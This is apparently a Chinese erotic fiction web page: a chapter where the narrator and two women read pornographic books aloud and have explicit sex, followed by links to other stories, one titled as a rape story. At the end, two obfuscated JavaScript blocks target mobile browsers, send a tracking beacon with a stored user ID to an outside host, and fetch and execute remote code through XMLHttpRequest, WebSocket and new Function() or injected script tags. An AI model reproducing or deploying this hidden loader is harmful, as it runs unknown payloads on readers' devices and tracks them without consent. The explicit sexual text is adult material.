第二天,我见到了久违的朋友,亮子,他带着他女朋友丁檬一起来的,“我来砸店了,老板给我滚出来!”

明明和林倩看着我,我脸上惊喜的笑容告诉她们,老朋友来了。

“我靠!”“我靠!”“我操!”“我操!”我们两个说得一个比一个响,三个女的看着我们,都露出了善意的笑意。

“我说亮子,你就不能换个漂亮点的女朋友?”

“李小山,你活腻歪了,找死啊!”丁檬凶巴巴的说。丁檬,论长相嘛,一般人,和美女搭不上边,但是个性超强,亮子和她比就象个小姑娘。

“嘿嘿。”亮子只是笑,不敢接茬,我们三个不大的时候就认识了,他们也算青梅竹马吧,以亮子的条件,找什么样的美女找不到,但是就是看上她了,缘份这东西,想想还真挺玄的。

“那边两位哪个是嫂子?”亮子问,眼睛看着她们。

“都是。”

“日,和你说正经的呢,我好给嫂子请安啊。”

“他还能有正经的!”丁檬插了一句。

我指了指明明,亮子上去就鞠了一躬,说:“嫂子大人在上,受小弟一拜,嫂子真是大美人啊!”

明明的脸一下就红了,不知道说什么好,用无助的眼神看着我。

“别闹了,几号回来的?”我问。

“二十九啊,我回来那天晚上就来看你了,可是你不在,回来那天我们俩都睡着了,结果手机还丢了,真他妈的。”

“我说给你打电话发短信的你怎么也不回呢,在北京过得怎么样?”

“混呗,混出来回来就是副科,以后老弟我罩你。”他笑得很得意。

“哎,千好万好不如老爹好,羡慕啊。”我说。

这句话倒是实话,他和丁檬两个小破专科生,工作啊,培训啊,都是他老爸一手安排的,本来打算想让他们出国来着,据说要一百万,这小子说啥都不去,只好去北京了。

说是培训,不过是为了快点提升走走过场罢了,大家都心知肚明,只不过没人敢说就是了,就象娱乐圈里用身体换角色一样,就象给主刀医生送红包一样,你也做他也做,也就形成一个灰色规律。

就在我们说话的时候,丁檬和明明、林倩也开始用眼神交流,不过女孩子看女孩子,不是比穿戴就是比相貌,而且观察得还细呢,一个再完美的女生在另一个女生眼里照样可以挑出毛病,我想,这三个人估计已经把该比的都比过了吧,想到这里,我心里偷笑了一下。

“这店不错啊,檬檬,你怎么没把大包拿来,咱们装点东西火车上吃。”亮子说。

“没事,还跑了他了,一会我出去叫车!”丁檬说。

“你要把店搬走是不是,见过狠的,没见过比你还狠的。”

“你才知道啊,不知道我是丁扒皮吗?”

我们三个你一句我一句的闲扯,聊了聊彼此的状况,明明出去买了菜,两个女生就躲进厨房了。

“那个大个子女生是谁?也挺好看的。”亮子说。

“你眼睛挺毒啊,我说亲爱的老-公!”丁檬的语气好象要吃人一样,看着亮子那副可怜样,我真是想不通,这个女人到底哪里好呢?

“那个,是明明的干妹妹,关系特好,正好也没事做,就过来帮忙了。”

亮子突然趴到我的耳边说:“你和嫂子干过没?”

我也在他的耳边说:“每天都干。”

“明白明白,厉害厉害。”

“喂,你们两个说什么见不得人的话呢?鬼鬼祟祟的。”

“没什么,没什么。”我们两个解释。

丁檬噘起小嘴,露出一点不满。

这时候,菜已经做好端了上来,吃完之后又是一顿胡侃,直到下午,两个人才离去。

看着他们离开的背影,我还真有点舍不得,想着我们曾经在一起那么多年,几乎就没怎么分开过,走上社会以后,却好久也见不到一次,是不是人一旦有了事业和家庭以后,朋友就变得疏远了呢?大概是这个样子吧。

我问她们对今天来的两个人印象如何,结果一致评价:亮子胖乎乎的,挺可爱;丁檬长个苦瓜脸,小眼睛,大下巴,反正印象不怎么样。

“亮子叫你嫂子你怎么不搭理人家?”我笑着问明明。

“哪有,我被问蒙了,不知道说什么好了。”明明说。

“你们认识很多年了吗?看样子很熟啊?”林倩问。

“那是,光屁股就在一起了,小时候邻居,然后是同学,这些年都没怎么分开。”

“亮子怎么看上丁檬的?一点都不般配。”

“这个问题嘛,王八瞅绿豆呗。还是我有福气啊。绝对是世界上最幸福的绿豆!”话没说完就被两个女生一顿暴打,差点就没吐血!

晚上,电视不知道抽什么疯,一会好一会不好的,也不能怪它,年龄差不多和我一样了,幸亏是日本的老产品才挺了这么多年的,换现在的估计早不行了,两个女生一会你打一下我打一下的,怎么打都是那样子,明明一生气,干脆就给关了。

看着她们百无聊赖的样子,看来又要找我打牌了,我突然想到我带了好多本黄书呢。“大家呆着没事做,看看书吧,充实一下自己,活到老学到老嘛。”我严肃地说。

“哪有书看啊?你在说梦话啊。”明明说。

我从包里翻出七、八本书,每个人发了一本。

她们接过去一看,表情就象吃了苍蝇。

“这就是你说的学习学习?”一个说。

“还活到老学到老,我还以为是什么知识类的书呢。”另一个说。

“别废话,哪位小时候学过朗读的,给大爷读一段听听。”我得意的笑着。

或许是我这个提议真的不错,或许也实在是没什么干的,更或许很多事情根本就不需要理由。

明明说:“下面,请听配乐诗朗诵,《小美今年十七岁》。”然后俏皮的咳了几声。

我和林倩啪啪的鼓掌。

“music!”明明不满的说,我赶紧放了音乐。

“小美-今年-十七岁了,她总觉得-下体-痒痒的…………”明明深情的朗读。

“日,你别跟读《海燕》似的,听起来好恶心。”我气愤地说。

“就不就不,有-一-天,她,把-手-放在-阴蒂-上-,突然-有种-奇异-的-感觉!”

“姐姐最好把动作配合上。”林倩笑着说。

“good,这个主意非常美妙。”

明明瞪了我一眼,把手放在自己阴蒂的部位上,假惺惺的揉着。

“啊-啊-啊-啊--”她一边读一边大笑起来,我们两个看得肚子都笑痛了。

“不行不行,换人换人,把气氛都搞砸了!”我让林倩换明明下来。

林倩走到前面,明明笑着坐到我身边,我提议干念也没什么意思,不能进入境界,干脆就让林倩扮成小美来自述!

“我叫小美,今年十七岁。”她用极其发嗲的声音,而且把平舌的地方说成翘舌,翘舌的地方说成平舌。

我和明明也给她鼓掌。

“有一天我把手放到自己的阴蒂的部位,突然有种奇异的感觉,啊啊,好舒服,我好象发现了女人最大的秘密,我又把手指放到屄的里面,这种感觉越来越强烈……”

“动作动作。”明明也没忘记这个。

林倩笑着把自己的裤子褪了下来,真的把屄露出来,左手拿着书,右手用手指把自己的屄扒开,手指向里面延伸着。

她跪在地上,一边手淫,一边朗读。

这下,可把我俩给看傻了。

“我的……下……体……开始……分泌……黏黏……的……液……体,我…加……快……了……速度……”

林倩大概天生就有种表演的欲望,她大概已经进入角色了,她的下体在灯光的照射下,爱液闪耀着点点光芒。

我的鸡巴快要把裤子顶破了,我把它掏出来,给明明使了个眼色。

明明红着脸,伏下身把它含到嘴里,她的唇滚烫滚烫的,紧紧的包住我的龟头,慢慢的,林倩读的什么我已经听不清了,巨大的快感把我带上了云霄。

我隔着衣服抓明明的乳房,手插进明明的裤子里摸她的屁股和小穴。

林倩一声大喊,达到了高潮。

她趴在地上喘息,我在她的刺激下也崩溃了,精液扑哧扑哧的在明明的嘴里散落着。

“你射得好多啊。”明明一边擦着嘴角一边说。

“顺手方便了一下!”我笑着说。

“去死,你骗谁啊,当我白痴啊。”

两个女生笑着手拉手去了厕所,我点了一根烟,仔细一想,明天不是十五了吗?好久没出去吃了,自从那次出事以后。

她们两个洗了也不知道多久,才有说有笑的出来。

“明天十五,出去吃怎么样?我请你们吃好吃的。”

“不去。”明明说。

“不怎么想去。”林倩说。

看来两个女孩对上次的事还有点心悸,不去就不去吧。

“那明天怎么过啊?总得和平常有点区别啊。”

“这个嘛,明天我们每个人写首诗,增加点节日的气氛。”明明说。

“可是姐姐我不会啊,小山哥应该很擅长吧。”

“哪有,擅长早写了,擅长的话我天天写诗赞美你们两个,谁知道明明怎么想的啊。”

“妹妹,没事,会写字就行了,姐姐今天突然诗性大发。”

“我看是兽性大发吧。”我笑着说。

明明一下飞了过来,趴在我的身上。脸上挂着本来想恶狠狠但却嬉皮笑脸的表情。

“那我就给你发一个看看,看招,看招…………”


上一篇:女友被寝友开苞

下一篇:天台小屋强奸


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};